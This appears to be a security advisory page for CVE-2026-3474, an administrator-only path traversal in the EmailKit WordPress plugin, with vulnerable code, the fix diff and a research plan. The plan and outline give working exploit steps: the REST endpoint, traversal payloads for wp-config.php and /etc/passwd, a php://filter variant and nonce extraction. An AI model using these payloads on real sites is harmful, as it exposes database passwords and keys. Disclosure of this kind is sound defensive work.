CVE-2026-3474

EmailKit <= 1.6.3 - Authenticated (Administrator+) Path Traversal via 'emailkit-editor-template' REST API Parameter

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.6.4
Patched in
1d
Time to patch

Description

The EmailKit – Email Customizer for WooCommerce & WP plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 1.6.3. This is due to the action() function in the TemplateData class passing user-supplied input from the 'emailkit-editor-template' REST API parameter directly to file_get_contents() without any path validation, sanitization, or restriction to an allowed directory. This makes it possible for authenticated attackers, with Administrator-level access, to read arbitrary files on the server (such as /etc/passwd or wp-config.php) by supplying a traversal path. The file contents are stored as post meta and can subsequently be retrieved via the fetch-data REST API endpoint. Notably, the CheckForm class in the same plugin implements proper path validation using realpath() and directory restriction, demonstrating that the developer was aware of the risk but failed to apply the same protections to the TemplateData endpoint.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.3
PublishedMarch 20, 2026
Last updatedMarch 20, 2026
Affected pluginemailkit

What Changed in the Fix

Changes introduced in v1.6.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-3474 (EmailKit Path Traversal) ## 1. Vulnerability Summary The **EmailKit** plugin (<= 1.6.3) contains an authenticated path traversal vulnerability in its REST API implementation. The `EmailKit\Admin\Api\TemplateData::action()` method accepts a file path via…

Show full research plan

Vulnerability Research Plan: CVE-2026-3474 (EmailKit Path Traversal)

1. Vulnerability Summary

The EmailKit plugin (<= 1.6.3) contains an authenticated path traversal vulnerability in its REST API implementation. The EmailKit\Admin\Api\TemplateData::action() method accepts a file path via the emailkit-editor-template parameter and passes it directly to file_get_contents() without validation. The content of the file is then stored as post meta in a newly created emailkit post. An attacker with Administrator privileges can exploit this to read sensitive files (e.g., wp-config.php, /etc/passwd) by retrieving the created post's metadata.

2. Attack Vector Analysis

  • Endpoint: /wp-json/emailkit/v1/template-data
  • HTTP Method: POST (or any method, as ALLMETHODS is registered)
  • Vulnerable Parameter: emailkit-editor-template
  • Required Authentication: Administrator (manage_options capability)
  • Required Header: X-WP-Nonce (set to a valid wp_rest nonce)
  • Data Persistence: The file content is saved to the emailkit_template_content_object and emailkit_template_content_html meta keys of a new emailkit post.

3. Code Flow

  1. Entry Point: The REST route emailkit/v1/template-data is registered in includes/Admin/Api/TemplateData.php within the __construct method.
  2. Nonce Verification: The action() function first verifies the nonce:
    if (!wp_verify_nonce($request->get_header( 'X-WP-Nonce' ), 'wp_rest')) { ... }
    
  3. Authorization: It checks for admin capabilities:
    if (!is_user_logged_in() || !current_user_can( 'manage_options' )) { ... }
    
  4. Vulnerable Sink: The code retrieves the emailkit-editor-template parameter and reads the file:
    if(!empty($request->get_param( 'emailkit-editor-template' ) ...)){
        $template = file_get_contents($request->get_param( 'emailkit-editor-template' ))??'';
        $html = file_get_contents(str_replace( "content.json", "content.html", $request->get_param( 'emailkit-editor-template' )))??'';
    }
    
  5. Persistent Storage: A new post of type emailkit is created using wp_insert_post(). The file contents ($template and $html) are stored in meta_input:
    $data = array(
        'post_type'   => 'emailkit',
        'meta_input'  => array(
            'emailkit_template_content_html'    => $html,
            'emailkit_template_content_object'  => $template,
            ...
        )
    );
    $post_id = wp_insert_post($data);
    

4. Nonce Acquisition Strategy

The endpoint requires a wp_rest nonce. This is the standard WordPress REST API nonce.

  1. Login: Authenticate as an Administrator.
  2. Navigate: Use browser_navigate to go to the WordPress dashboard (/wp-admin/).
  3. Extract: Use browser_eval to extract the nonce from the global wpApiSettings object, which is automatically enqueued on most admin pages.
    • JS Command: browser_eval("wpApiSettings.nonce")
  4. Alternative: If wpApiSettings is missing, navigate to the EmailKit settings page (slug likely emailkit) and look for localized scripts.

5. Exploitation Strategy

Step 1: File Inclusion (Write Phase)

Send a POST request to the vulnerable endpoint to read a sensitive file (e.g., wp-config.php).

  • Tool: http_request
  • URL: http://localhost:8080/wp-json/emailkit/v1/template-data
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body (JSON):
    {
      "emailkit-editor-template": "../../../wp-config.php",
      "emailkit_template_title": "Exploit Template",
      "emailkit_email_type": "test",
      "emailkit_template_type": "test"
    }
    
  • Expected Response: {"status":"success","data":{"templateId":123,...}}

Step 2: Content Retrieval (Read Phase)

The vulnerability description mentions a fetch-data REST API endpoint. Based on common patterns in this plugin:

  • Endpoint: /wp-json/emailkit/v1/fetch-data (inferred)
  • Method: GET
  • Params: form_id=[templateId from Step 1]

Fallback Retrieval:
If the fetch-data endpoint is not easily identified, the data can be confirmed via the standard WordPress post meta.

6. Test Data Setup

  1. User: Create an administrator user (e.g., admin_pwn / password123).
  2. Plugin: Ensure emailkit version 1.6.3 is installed and active.
  3. Target File: Ensure wp-config.php exists in the standard location (root).

7. Expected Results

  • The REST API should return a success status and a templateId.
  • The database (or the retrieval endpoint) should contain the plaintext content of wp-config.php (including DB_PASSWORD and AUTH_KEY salts) inside the emailkit_template_content_object meta field for the generated post.

8. Verification Steps

After the HTTP exploit, verify the file contents were successfully stolen using WP-CLI:

# Get the latest emailkit post ID
POST_ID=$(wp post list --post_type=emailkit --format=ids | awk '{print $1}')

# Check the meta content
wp post meta get $POST_ID emailkit_template_content_object

9. Alternative Approaches

  • System File Read: Target /etc/passwd if the environment is Linux:
    • Payload: emailkit-editor-template=/etc/passwd
  • Protocol Wrapper: Try reading files using PHP filters if direct paths are blocked by some environment settings:
    • Payload: emailkit-editor-template=php://filter/convert.base64-encode/resource=../../../wp-config.php
  • Post Update: If postIdField is provided in the JSON body, the action() function might update an existing post instead of creating a new one (requires checking the logic for !empty($req->postIdField) which is truncated in the provided snippet but suggested by variable usage).
Research Findings
Static analysis — not yet PoC-verified

Summary

The EmailKit plugin for WordPress is vulnerable to authenticated path traversal through the 'emailkit-editor-template' REST API parameter. An administrator can exploit this to read arbitrary files on the server by specifying a file path, such as '../../wp-config.php', which the plugin reads and stores as post meta in a newly created email template.

Vulnerable Code

// includes/Admin/Api/TemplateData.php:45
if(!empty($request->get_param( 'emailkit-editor-template' ) && trim($request->get_param( 'emailkit-editor-template' )) !== '')){
    $template = file_get_contents($request->get_param( 'emailkit-editor-template' ))??'';
    $html = file_get_contents(str_replace( "content.json", "content.html", $request->get_param( 'emailkit-editor-template' )))??'';
}

// ... further down in action() method where the data is stored ...

$data = array(
    'post_type'   => 'emailkit',
    'post_status' => 'publish',
    'post_author' => get_current_user_id(),
    'post_title' =>  $subject !== '' ?  $subject : "New Template ".uniqid(),
    'meta_input'  => array(
        'emailkit_template_content_html'    => $html,
        'emailkit_template_content_object'  => $template,
        // ...
    )
);
$post_id = wp_insert_post($data);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/emailkit/1.6.3/includes/Admin/Api/TemplateData.php /home/deploy/wp-safety.org/data/plugin-versions/emailkit/1.6.4/includes/Admin/Api/TemplateData.php
--- /home/deploy/wp-safety.org/data/plugin-versions/emailkit/1.6.3/includes/Admin/Api/TemplateData.php	2025-10-06 05:41:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/emailkit/1.6.4/includes/Admin/Api/TemplateData.php	2026-03-17 05:53:24.000000000 +0000
@@ -45,9 +45,26 @@
     
 
        
-        if(!empty($request->get_param( 'emailkit-editor-template' ) && trim($request->get_param( 'emailkit-editor-template' )) !== '')){
-            $template = file_get_contents($request->get_param( 'emailkit-editor-template' ))??'';
-            $html = file_get_contents(str_replace( "content.json", "content.html", $request->get_param( 'emailkit-editor-template' )))??'';
+        if (!empty($request->get_param('emailkit-editor-template')) && trim($request->get_param('emailkit-editor-template')) !== '') {
+            $template_path = $request->get_param('emailkit-editor-template');
+            $allowed_base_path = wp_upload_dir()['basedir'] . '/emailkit/templates/';
+            $real_path = realpath($template_path);
+            if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0) {
+                return [
+                    'status'    => 'fail',
+                    'message'   => [__('Invalid template path', 'emailkit')]
+                ];
+            }
+
+            $template = file_exists($real_path) ? file_get_contents($real_path) : '';
+            $html_path = str_replace("content.json", "content.html", $real_path);
+            
+            // Validate HTML path as well
+            $real_html_path = realpath($html_path);
+            if ($real_html_path !== false && strpos($real_html_path, realpath($allowed_base_path)) === 0) {
+                
+                $html = file_exists($real_html_path) ? file_get_contents($real_html_path) : '';
+            }
         }
 
         $subject = !empty($request->get_param( 'emailkit_template_title' ))? trim($request->get_param( 'emailkit_template_title' )) : null;

Exploit Outline

1. Authenticate as a WordPress user with Administrator privileges (manage_options capability). 2. Obtain a valid REST API nonce (wp_rest). 3. Send a POST request to the `/wp-json/emailkit/v1/template-data` endpoint. 4. In the request body, include the parameter `emailkit-editor-template` set to the absolute path or a relative traversal path of a sensitive file (e.g., `../../../wp-config.php`). 5. The plugin will create a new post of type `emailkit`. The contents of the requested file will be stored in the `emailkit_template_content_object` and `emailkit_template_content_html` meta fields of this new post. 6. Retrieve the stolen file content by either inspecting the post meta directly or by using the plugin's data retrieval REST endpoints (e.g., `fetch-data`) using the `templateId` returned in the initial exploit response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.